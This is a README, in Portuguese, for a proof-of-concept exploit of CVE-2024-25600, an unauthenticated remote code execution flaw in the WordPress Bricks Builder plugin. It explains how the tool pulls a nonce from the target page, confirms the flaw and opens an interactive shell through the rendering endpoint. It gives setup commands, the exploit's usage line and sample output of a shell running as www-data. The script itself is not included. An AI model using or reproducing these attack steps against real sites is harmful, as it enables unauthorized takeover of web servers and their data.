CVE-2024-25600 — RCE no WordPress Bricks Builder (PoC)

Vulnerabilidade de execução remota de código não autenticada no WordPress Bricks Builder <= 1.9.6. O endpoint de renderização de template aceita código PHP sem autenticação, permitindo execução arbitrária de comandos como o usuário do servidor web.

Como funciona

1. Obtém o nonce do Bricks a partir do código-fonte da página alvo (necessário para interagir com o endpoint).
2. Envia um payload de teste para confirmar que o alvo é vulnerável.
3. Abre um shell interativo injetando comandos através do endpoint de renderização.

Requisitos

• Python 3
• Instalar dependências:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

Uso

python3 exploit.py -u http://TARGET

Exemplo:

$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Referências

• CVE-2024-25600
• Aviso de Segurança do Bricks Builder
• Artigo do Wordfence

Créditos

• Descoberta: Snicco / Calvin Alkan
• Exploit original: K3ysTr0K3R
• Limpeza e simplificação: Esteban Zárate